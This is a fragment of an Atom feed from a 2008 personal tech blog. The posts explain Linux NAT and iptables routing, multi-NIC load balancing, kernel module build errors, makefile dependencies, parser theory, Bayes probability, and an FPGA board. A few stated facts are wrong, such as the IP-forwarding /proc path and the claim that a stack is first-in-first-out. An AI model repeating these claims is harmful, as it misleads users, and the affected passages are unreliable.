class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-5808897253564809963?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5808897253564809963'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5808897253564809963'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/04/linux-networking-3-network-bridge-and.html' title='Linux Networking 3: network bridge and bump in the wire'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-6642038323570639762</id><published>2008-03-10T18:18:00.009-05:00</published><updated>2008-04-08T15:00:45.842-05:00</updated><title type='text'>Linux Networking 2: a router with port forwarding</title><content type='html'>Make simple things simple, complex things possible. Linux router is an example of this motto. A linux box with 2 NICs (network interface card) can function as a router with 2 simple commands from default configuration, and a 3rd command enables port forwarding to a specific port on a specific host. We'll cover a lot of theory of linux routing and firewalling in this article because subsequent article in this mini-serie are built based on the knowledge present here and will focus on more practical use.&lt;br /&gt;&lt;br /&gt;First of all, let's understand the requirement of a router or its definition. A router routes network packets between two network segments. It needs to do source NAT or destination NAT on a network packet. NAT stands for network address translation and is a layer 3 (IP) functionality. What this means is that an outgoing network packet through the router will have its source IP address modified to the external IP of the router (sometimes referred to as WAN IP). A related incoming network packet or port forwarded network packet will have its destination IP address modified, known as destination NAT.&lt;br /&gt;&lt;br /&gt;On 2.4+ Linux, NAT is done by iptables nat table during prerouting or postrouting. SNAT of an outgoing packet is performed during postrouting in nat just before it leaves the box. Linux kernel routing table knows that a packet destined to external IP address should go through the PREROUTING-&gt;FORWARD-&gt;POSTROUTING chain. Similarly, DNAT is performed during prerouting in nat just after it enters the box, typically going through PREROUTING-&gt;FORWARD-&gt;POSTROUTING chain. DNAT is done automatically for related or established packets (e.g. consequence of an outgoing SNAT SYN packet that establishes a network connection). DNAT is also done explicitly for packets that meet predefined port forwarding rules (an incoming SYN packet). It's strongly recommended the table traverse graph studied and understood.&lt;br /&gt;&lt;br /&gt;By default, kernel disables forward chain. That is when a packet coming in on a NI (network interface) has a different destination IP address than the address bound to that NI will be dropped. To allow linux kernel to make routing decision on such kind of packets, the forward chain must be enabled. Next to ensure the kernel can properly route such kind of packets, DNAT must be performed such that when the packet is inspected by the kernel, upon consulting the kernel routing table, the packet can be forwarded to the correct destination NI.&lt;br /&gt;&lt;br /&gt;An example will make this clear, given the following defintion&lt;br /&gt;&lt;br /&gt;eth0_ip="192.168.0.1"&lt;br /&gt;eth0_nw="192.168.0.1/24"&lt;br /&gt;eth0_gw="192.168.0.150"&lt;br /&gt;eth1_ip="192.168.1.1"&lt;br /&gt;eth1_nw="192.168.1.1/24"&lt;br /&gt;eth1_gw="192.168.1.150"&lt;br /&gt;pfw_serv_ip="192.168.1.3"&lt;br /&gt;&lt;br /&gt;kernel routing table can be displayed by "ip route" or "route -n", "ip route" shows more information and sometimes shows information not available through "route -n".&lt;br /&gt;&lt;br /&gt;In this hypothetical case, let's suppose:&lt;br /&gt;$eth0_nw route to eth0 via $eth0_nw_gw&lt;br /&gt;$eth1_nw route to eth1 via $eth1_nw_gw&lt;br /&gt;default route to eth0 via $eth0_nw_gw&lt;br /&gt;&lt;br /&gt;This is equivalent in English, packets destined to $eth0_nw will be routed to interface eth0, ditto for $eth1_nw and eth1. And if a packet whose destination is not in either $eth0_nw or  $eth1_nw, it should be routed to interface eth0.&lt;br /&gt;&lt;br /&gt;Now that we have established the routing table and have the forward chain enabled (echo 1 &gt; /proc/net/ipv4/ip_forward), let's see what happens when a packet originated from $pfw_server_ip with its destination ip set to kernel.org comes in from eth1. First the packet is seen on the wire and by the card, the kernel takes the packet and put it on the network stack. Before routing decision is made for this particular packet, there are 2 state machine states it will go through: the mangle table and nat table in PREROUTING chain. Two common actions will be taken by the kernel&lt;br /&gt;&lt;br /&gt;1. The incoming packet has SYN flag set and is the first packet for an outgoing connection (similarly for UDP packet, the connection tracking is based on the 5-tuple: src ip, src port, dst ip, dst port, and protocol). The kernel consults the mangle table and nat table for PREROUTING chain and make appropriate changes to the packet. It's not recommended to do any filtering (ACCEPT, DROP, REJECT etc) with mangle/nat tables in PREROUTING chain. Suppose a DNAT rule exists to change the destination address of this packet in nat table, this packet will be redirected to a different server IP address. Thus it's extremely easy to construct a layer 3 proxy with Linux, some times referred to as port forwarding. &lt;br /&gt;&lt;br /&gt;The mangle table has rules to modify the packet in other packet header fields different than the IP address. By marking the packet, mangle table can be used to select routing decisions for this packet based 'ip route/rule' kernel tables. For example, the mangle table rule can be used to create a tunnel, a bridge of 2 NIs. mangle table marks a packet and then the kernel routing table routes the packet based on its marking. We'll cover this in a later article in this serie.&lt;br /&gt;&lt;br /&gt;2. The incoming packet does not have SYN flag set and the kernel connection tracking module determines it's part of an established connection. In this case, the rules that applied to the SYN packet of this 5-tuple connection are automatically applied to this packet as well.&lt;br /&gt;&lt;br /&gt;At this point the packet leaves the PREROUTING chain, based on the kernel routing table, a routing decision will be made where this packet will be delivered to, typically one of the following decisions is made:&lt;br /&gt;&lt;br /&gt;1. the destination ip address is one of local host addresses, in this case, the packet is delivered to the internal/local ip address and NI the address is bound to. Next the packet is scheduled to go through the INPUT/OUTPUT chain and the filter table. The filter table is the default table for the INPUT/OUTPUT chain, provided through iptables syntactical sugar. This is an often overlooked fact and causes most confusion to iptables beginners. It'd have been better that '-t filter' be made explicit on command line at the cost of increased verbosity.&lt;br /&gt;&lt;br /&gt;It's possible a local process on the local host will consume the incoming packet after the INPUT chain and the story of the packet ends here. &lt;br /&gt;&lt;br /&gt;2. the destination ip address is an external address, a routing table entry is available to calculate its destination network interface on the host, the packet is scheduled to go through the FORWARD chain next.&lt;br /&gt;&lt;br /&gt;3. the destination ip address is an external address but none of the routing table entry yields a destination network interface on the host, this packet will be dropped. This packet is said to be undeliverable.&lt;br /&gt;&lt;br /&gt;After the packet has gone through either the INPUT/OUTPUT or the FORWARD chain, another routing decision is made whether the packet is 'undeliverable' or can be sent out through POSTROUTING chain. Here is place to do either SNAT or MASQUERADE on the outgoing packets before it goes on the wire. The difference between SNAT or MASQUERADE is that MASQUERADE allows dynamic destination address calculation and is typically used when the outgoing NIC has its address obtained from a DHCP server. SNAT rule binds a static IP address to the nat table rule. If you are not sure you should use SNAT or MASQUERADE, use MASQUERADE just to be safe.&lt;br /&gt;&lt;br /&gt;After the packet is mangled or SNATed/MASQUERADEd in POSTROUTING chain, it leaves the local host and is sent on the wire.&lt;br /&gt; &lt;br /&gt;References:&lt;br /&gt;1. http://iptables-tutorial.frozentux.net/images/tables_traverse.jpg&lt;br /&gt;2. http://iptables-tutorial.frozentux.net/iptables-tutorial.html&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-6642038323570639762?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6642038323570639762'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/6642038323570639762'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/03/linux-networking-2-router-with-port.html' title='Linux Networking 2: a router with port forwarding'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-5333939401232249230</id><published>2008-03-08T16:20:00.004-05:00</published><updated>2008-03-08T16:58:56.183-05:00</updated><title type='text'>Linux Networking 1: server work load balancing with multiple NICs</title><content type='html'>We'll cover some advanced use of linux networking capabilities in this mini series (including load balancings, 2 nic with same IP--bonding, bridge, and router). We'll begin with load balancing of server workload. Although this discussion does not cover subjects such as routing, packet manipulation (through iptables), it illustrates from an application level, how to use a linux box with multiple NICs to do useful things. A linux box with multiple NICs will be a common theme of this mini series.&lt;br /&gt;&lt;br /&gt;The concept of server work load balancing is to allow a linux box to use multiple NIC to service network traffic. A simple setup is to have a single external IP exposed to clients. Behind the external IP are multiple NICs that can form a dispatch table based on traffic and workload behind each NIC. &lt;br /&gt;&lt;br /&gt;Let's use 2 NIC load balancing to illustrate the idea:&lt;br /&gt;&lt;br /&gt;ext_nic(ip)-----load-balancer-demon-----NIC0-----SERVER0&lt;br /&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;+----NIC1-----SERVER1&lt;br /&gt;&lt;br /&gt;Whenever a client request comes in, the load-balancer-demon queries the SERVER behind a NIC to figure out which NIC the traffic/request should be forwarded to depending on the current workload on each server.&lt;br /&gt;&lt;br /&gt;Thus the load-balancer-demon is a user space application that proxies client requests.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-5333939401232249230?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5333939401232249230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5333939401232249230'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/03/linux-networking-1-server-work-load.html' title='Linux Networking 1: server work load balancing with multiple NICs'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-5928048355000621130</id><published>2008-03-08T15:22:00.005-05:00</published><updated>2008-05-13T15:16:56.895-05:00</updated><title type='text'>FPGA: Initial impression of Xilinx-3A starter board and fpga</title><content type='html'>I've recently started to learn FPGA architecture and Verilog hardware programming. It feels like the old DOS days when we could program interrupts and use 'outp' to signal hardware ports directly. In fact, the module port and pin assignment reminds me of the same pattern of hardware programming. The board has a builtin clock (oscillator) and with behavioral modelling, programer can program the hardware behavior. With DOS, I remember interrupt 8 was the XT8086 oscillator(timer) interrupt and the interrupt service code was executed at a fixed frequency. DOS allows programmer to reprogram the interrupt service code to emulate multitasking system.&lt;br /&gt;&lt;br /&gt;FPGA is a powerful and flexible platform that supports many IO ports and levels of programming models (switch-level, gate-level, dataflow-level, and behavioral-level). Behavioral level programming is reminiscent of C programming except that Verilog provides concurrent and non-blocking (asynchronous) programming paradigms with native language contructs. For example, the always, initial procedual blocks are concurrent and the code sequence in these blocks are executed concurrently on fpga hardware. Verilog also provides delayed assignment, a nice variation of synchronous assignment. Nonblocking procedual assignment allows programer to describe asynchronous assignment behavior.&lt;br /&gt;&lt;br /&gt;Programmable digital circuit is an interesting idea and hopefully I will have some interesting stuff to report later with the semi-expensive fpga development board.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-5928048355000621130?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5928048355000621130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5928048355000621130'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/03/initial-expression-of-xilinx-3astarter.html' title='FPGA: Initial impression of Xilinx-3A starter board and fpga'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-9178531968717996443</id><published>2008-02-28T20:37:00.002-05:00</published><updated>2008-02-28T20:53:17.155-05:00</updated><title type='text'>modprobe returns Invalid kernel module Format</title><content type='html'>I just experienced this problem recently on my new gentoo installation. I wanted to use my USB wireless card (netgear ma111), this requires a custom build of linux-wlan-ng that provides prism2 kernel module (this is now part of official kernel since 2.6.24). &lt;br /&gt;&lt;br /&gt;So I downloaded the latest (0.2.8) version of linux-wlan-ng and went through the configure/make chore. Everything worked fine (on newer kernel, one has to change socket-&gt;mac to socket-&gt;mac_header) and I got the modules compiled. But when I tried to insert the modules into kernel space, modprobe tells me the newly built kernel modules have 'Invalid Format' and cannot be used. &lt;br /&gt;&lt;br /&gt;This is rather interesting. After much research, the problem was found to be a mismatch of running kernel config and the config file found as /usr/src/linux/.config. It appears the 2.6 kernel has a tightened requirement of how a kernel module must be built to be used with a live running kernel.&lt;br /&gt;&lt;br /&gt;Two things I learned helped me to diagnose the problem:&lt;br /&gt;1. 2.6 kernel allows a copy of running kernel config accessible as /proc/config.gz. This is now a kernel configuration option. Make sure you turn it on if you build 2.6 kernel from source, this can be a life/time-saver.&lt;br /&gt;&lt;br /&gt;2. modinfo. Running this command on a kernel module file shows detailed information of the kernel module, in particular the versionmagic string shows options used to build the kernel module. The options in this magic string must match between this module and running kernel for the module to be useful. Mismatch here will produce the mysterious 'Invalid Format' error I initially stumbled upon.&lt;br /&gt;&lt;br /&gt;With these knowledge, it's simple to fix the problem:&lt;br /&gt;1. emerge the correct kernel source (yum, aptitude, smart, etc...on other distro)&lt;br /&gt;2. cp /proc/config.gz to /usr/src/linux and decompress it; rename config to .config&lt;br /&gt;3. in /usr/src/linux, make (don't have to be complete, make sure include/linux/version.h is produced)&lt;br /&gt;4. re-configure/make linux-wlan-ng&lt;br /&gt;5. make sure modinfo of newly built kernel module agree with existing modules of the live kernel&lt;br /&gt;6. modprobe/modins prism2 module (should work perfectly now)&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-9178531968717996443?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/9178531968717996443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/9178531968717996443'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/02/modprobe-returns-invalid-kernel-module.html' title='modprobe returns Invalid kernel module Format'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-5780310315593912827</id><published>2008-02-19T17:45:00.003-05:00</published><updated>2008-03-08T15:54:30.400-05:00</updated><title type='text'>Bayes probability model</title><content type='html'>Bayes probability model is an important probability model to predict prior stage probabilities of a multi-stage probability model. Typically it's applied to a 2 stage probability model where the 2nd stage is dependent on the events in the first stage.&lt;br /&gt;&lt;br /&gt;Unlike 2 part probability model where events in either part are independent of events in the other part, 2 stage probability model is more complicated because 2nd stage probability is dependent on the 1st stage probability, where conditional probability applies. Bayes probability model quantifies the relationship between probabilities of different events happening in the model. It can be used to compute the 1st stage probability given the conditional probability of 2nd stage events.&lt;br /&gt;&lt;br /&gt;A simple dependent probability for event E and F is: P(E and F) = P(E) P(F|E) (the multiplication law), it says the probability that both E and F happen is the product of E happens and the conditional probability of F happens given that E happens. It often is written as P(F|E) = P(E and F)/P(E).&lt;br /&gt;&lt;br /&gt;The symmetry in the formulation can be explored: P(E and F) = P(F) P(E|F) = P(E) P(F|E). Thus, &lt;br /&gt;given P(E) = P(F) P(E|F)/P(F|E). Given conditional probabilities of P(E|F), P(F|E), and P(F), one can compute P(E).&lt;br /&gt;&lt;br /&gt;Let E and F represent simple event Ei and Fji (Fj happens given that Ei happens) in event sets, P(Ei and Fj) = pE_i * pF_j_i where P(Ei) = pE_i and P(Fj|Ei) = pF_j_i, therefore the chance Fj happens in a 2 stage experiment is sigma(P(Ei and Fj), i = 0..I) = sigma(pE_i * pF_j_i, i = 0..I)&lt;br /&gt;&lt;br /&gt;Thus we can rewrote the symmetry formula as P(Fj) P(Eij|Fj) = P(Ei) P(Fji|Ei). This illustrates that given 2nd stage probability P(Fj), we can reliably compute first stage conditional probability P(Eij|Fj) by rewrite it again as:&lt;br /&gt;&lt;br /&gt;P(Eij|Fj) = P(Ei) P(Fji|Ei)/P(Fj) = P(Ei) P(Fji|Ei) / [sigma(P(Ei) * P(Fji), i = 0..I)]&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-5780310315593912827?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5780310315593912827'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/5780310315593912827'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/02/bayes-probability-model.html' title='Bayes probability model'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-7021480121816434977</id><published>2008-02-19T17:43:00.004-05:00</published><updated>2008-02-19T17:45:38.281-05:00</updated><title type='text'>Suse 10.2, how to load a kernel module during system boot automatically</title><content type='html'>Different linux distros have different ways of loading kernel module during system boot. The way it works in Suse Linux is by adding module name into MODULES_LOADED_ON_BOOT in /etc/sysconfig/kernel. This configuration file is read by /etc/init.d/boot.loadmodules and specified modules will be loaded on demand.&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-7021480121816434977?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7021480121816434977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/7021480121816434977'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/02/suse-102-how-to-load-module-during.html' title='Suse 10.2, how to load a kernel module during system boot automatically'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-1315322766974369445</id><published>2008-02-18T22:33:00.001-05:00</published><updated>2008-02-18T23:13:46.327-05:00</updated><title type='text'>makefile, dependencies, and single target multiple rules</title><content type='html'>To work with a large software system, a reliable and fast build system is one of the most important pieces. Without a reliable and fast build system, development can ground to a halt. Imagine if it takes 10-15 minutes to build a new version of the software when there were one or two changes. Unfortunately this happens more often than one might have expected. GNU make provides a framework to construct a build system through makefiles. Most of us use it on a daily basis. &lt;br /&gt;&lt;br /&gt;There is one important and interesting feature of makefile often overlooked, automatic dependency generation and inclusion. This feature is enabled by the fact that gmake allows a single target having multiple dependences but only one rule can have associated action. (Rules, dependencies, it's like lex/yacc, isn't it?)&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&lt;sourcecode&gt;&lt;br /&gt;objects = foo.o bar.o&lt;br /&gt;foo.o : defs.h&lt;br /&gt;bar.o : defs.h test.h&lt;br /&gt;$(objects) : config.h&lt;br /&gt;&lt;/sourcecode&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;In this quoted example, foo.o depends on both defs.h and config.h. &lt;br /&gt;&lt;br /&gt;Thus automatic dependency is typically done like this:&lt;br /&gt;&lt;br /&gt;foo.o: f1.c f2.h&lt;br /&gt;  gcc -c f1.c&lt;br /&gt;dep:&lt;br /&gt;  gcc -E -M -MF dep/foo.d -c f1.c&lt;br /&gt;-include dep/foo.d&lt;br /&gt;&lt;br /&gt;in this example, a dependency file dep/foo.d is generated and included in the makefile. Initially the include file does not exist and an error will be reported without '-' before include. '-' suppresses error reporting in gmake commands. The first time gmake runs through this makefile with 'make dep', it will generate the dependency file and compile f1.c. Alternatively, one can force the dependency generation as in the following example with 'make' (if all is the first rule in this makefile) but since its effect is not immediately available in compiling foo.o it's generally considered a bad practice. It forces generation of dependencies files every time during 'make all' (this can be somewhat alleviated by using make or shell conditionals). Unless a user of the makefile has a good reason to do so, avoid it:&lt;br /&gt;&lt;br /&gt;all: dep foo.o&lt;br /&gt;foo.o: f1.c f2.h&lt;br /&gt;  gcc -c f1.c&lt;br /&gt;dep:&lt;br /&gt;  gcc -E -M -MF dep/foo.d -c f1.c&lt;br /&gt;-include dep/foo.d&lt;br /&gt;&lt;br /&gt;The various flags used in this example taken from gcc manual:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;       -E  Stop after the preprocessing stage; do not run the compiler proper.&lt;br /&gt;           The output is in the form of preprocessed source code, which is&lt;br /&gt;           sent to the standard output.&lt;br /&gt;&lt;br /&gt;           Input files which don't require preprocessing are ignored.&lt;br /&gt;&lt;br /&gt;       -M  Instead of outputting the result of preprocessing, output a rule&lt;br /&gt;           suitable for make describing the dependencies of the main source&lt;br /&gt;           file.  The preprocessor outputs one make rule containing the object&lt;br /&gt;           file name for that source file, a colon, and the names of all the&lt;br /&gt;           included files, including those coming from -include or -imacros&lt;br /&gt;           command line options.&lt;br /&gt;&lt;br /&gt;           Unless specified explicitly (with -MT or -MQ), the object file name&lt;br /&gt;           consists of the basename of the source file with any suffix&lt;br /&gt;           replaced with object file suffix.  If there are many included files&lt;br /&gt;           then the rule is split into several lines using \-newline.  The&lt;br /&gt;           rule has no commands.&lt;br /&gt;&lt;br /&gt;           This option does not suppress the preprocessor's debug output, such&lt;br /&gt;           as -dM.  To avoid mixing such debug output with the dependency&lt;br /&gt;           rules you should explicitly specify the dependency output file with&lt;br /&gt;           -MF, or use an environment variable like DEPENDENCIES_OUTPUT.&lt;br /&gt;           Debug output will still be sent to the regular output stream as&lt;br /&gt;           normal.&lt;br /&gt;&lt;br /&gt;           Passing -M to the driver implies -E, and suppresses warnings with&lt;br /&gt;           an implicit -w.&lt;br /&gt;&lt;br /&gt;       -MF file&lt;br /&gt;           When used with -M or -MM, specifies a file to write the dependen-&lt;br /&gt;           cies to.  If no -MF switch is given the preprocessor sends the&lt;br /&gt;           rules to the same place it would have sent preprocessed output.&lt;br /&gt;&lt;br /&gt;           When used with the driver options -MD or -MMD, -MF overrides the&lt;br /&gt;           default dependency output file.&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;-M implies -E, but for illustration '-E' is explicitly specified in this example. This will speed up the make process before first gcc command will stop right after preprocessing is done.&lt;br /&gt;&lt;br /&gt;The second time make command is issued, the dependencies files are all available and will participate dependency check on its target. This is why with old software build systems, we often see instructions such as do 'make dep' first, then do 'make' (e.g the pre-2.4 linux kernel build system). The first step generates all the dependencies and the second step does the actual compilation. Of course, we can take out '-E' and '-M' and use '-MD' instead which will produce dependency and object files in a single step. The following is taken from autoconf/make output using 'Makefile' generated from 'configure' command:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;/bin/sh ../libtool --tag=CXX   --mode=compile g++ -DHAVE_CONFIG_H  -I../include -I../include -I/usr/include    -g -O2 -Werror -MT binarystring.lo -MD -MP -MF .deps/binarystring.Tpo -c -o binarystring.lo binarystring.cxx&lt;br /&gt;&lt;br /&gt;g++ -DHAVE_CONFIG_H -I../include -I../include -I/usr/include -g -O2 -Werror -MT binarystring.lo -MD -MP -MF .deps/binarystring.Tpo -c binarystring.cxx -o binarystring.o&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The dependency file foo.d will always depend on the source file foo.c from which it's generated. So whenever we update foo.c and issue 'make', a new dependency file will be generated. Viola, we remember now we were required to do 'make dep' and 'make' with this kind of makefile system.&lt;br /&gt;&lt;br /&gt;References:&lt;br /&gt;1. man gcc&lt;br /&gt;2. http://www.gnu.org/software/make/manual/make.html#Multiple-Rules&lt;br /&gt;3. http://www.gsp.com/cgi-bin/man.cgi?section=1&amp;topic=mkdep&lt;br /&gt;4. http://www.linuxdriver.net/make3/make3-CHP-8-SECT-3.html&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-1315322766974369445?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1315322766974369445'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/1315322766974369445'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/02/makefile-dependencies-and-single-target.html' title='makefile, dependencies, and single target multiple rules'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-220129334572239822</id><published>2008-02-13T21:45:00.006-05:00</published><updated>2008-03-14T10:27:00.089-05:00</updated><title type='text'>Compilers Part 7, theoretical considerations of the parsing process</title><content type='html'>There are a few key concepts and data structures commonly utilized in a parser: the abstract syntax tree (AST)/parse tree/syntax tree, type and value stacks, action execution.&lt;br /&gt;&lt;br /&gt;It's not initially obvious, but a parser is essentially a stack machine operating on an abstract syntax tree with post-order action execution. The AST graph (constructed by observing predefined hierarchical shift/reduce rules embedded in grammars during parsing) is traversed in a breath-first order and the action associated with each node executed post-order. Incidentally, a stack is a perfect data structure when breath-first traversing a graph, another candidate is deque. A deque allows stack operations at its either end and thus a stack can be considered a half-closed (usually head closed) deque. By definition stack operates on a first in first out (FIFO) order while deque allows either FIFO or first in last out (FILO).&lt;br /&gt;&lt;br /&gt;A parse tree construction process explains why it's mandatory that predefined grammars assisted with associativity and precedence order rules cannot have any unresolved syntactical ambiguity or such that only one parse tree can be constructed according to the grammatical rules as in the case of a GLR parser. A syntactical ambiguity translates into an undefined parse tree and does not constitute a regular grammar (in fact a relaxed form of regular grammar because LR parsers allows the production rule expressed as TERMINAL NONTERMINAL) that's commonly implemented in most computer programming language.&lt;br /&gt;&lt;br /&gt;The parsing process becomes alive once it's understood, 1) AST or parse tree is constructed based on the hierarchical (defined by hierarchical structure and shift/reduce rules) grammars; 2) the parse tree is then traversed breath-first and terminals/non-terminals(products) evaluated post order; 3) result of evaluation is pushed back into the traverse stack, equivalent to tree leaf folding upward (try to visualize the content of an internal vertex replaced by the result of evaluation its children vertexes according to user defined actions).&lt;br /&gt;&lt;br /&gt;Interestingly hierarchical (which implies a tree) grammars can also be used generatively to produce strings of arbitrary length that conforms to production rules. Although the generation process can produce any string, a parser effectively defines the generation process bound by input to produce one and only one syntax tree. This is thus a deterministic finite state machine when considering only the start state (empty syntax tree) and end state (a syntax tree generated based on a predefined input). Not to be confused with the state transition process within a GLR parser during parsing, a GLR parser can be a nondeterministic finite state machine.&lt;br /&gt;&lt;br /&gt;References&lt;br /&gt;1. http://en.wikipedia.org/wiki/Formal_grammar&lt;div class="blogger-post-footer"&gt;Meditation, The Art of Exploitation&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23323574-220129334572239822?l=meditation-art.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/220129334572239822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23323574/posts/default/220129334572239822'/><link rel='alternate' type='text/html' href='http://meditation-art.blogspot.com/2008/02/compilers-part-7-theoretical.html' title='Compilers Part 7, theoretical considerations of the parsing process'/><author><name>Fei Liu</name><uri>http://www.blogger.com/profile/12454727186441725070</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-23323574.post-315690842109442487</id><published>2008-02-13T12:40:00.003-05:00</published><updated>2008-02-13T12:59:56.105-05:00</updated><title type='text'>Flavors of Linux, the Gentoo distro</title><content type='html'>If you have a computer with 3G harddrive and 128M memory. What do you do if you want to install a linux distro on it? This kind of computer configuration is probably considered archaic and unusable. Even the main stream linux distros are having trouble with it, including Fedora core, Opensuse, Ubunto. Here comes Gentoo for the rescue. &lt;br /&gt;&lt;br /&gt;The gentoo quick installation guide shows the user the full control on how the system can be built. With a network connection established, the system can be built from a remote shell by executing a bunch of command line commands! This convenience is invaluable, considering that you don't have to sit next to a noisy box and stare at its screen. The base system uses only about 1G harddrive space with most of the useful development tools installed. &lt;br /&gt;&lt;br /&gt;The gentoo 'emerge' system provides decent package management features that most other small linux distros don't have. Therefore you pretty much get the best of both worlds (the all-in-one big desktop distro and down-to-the-earth barebone small distro). 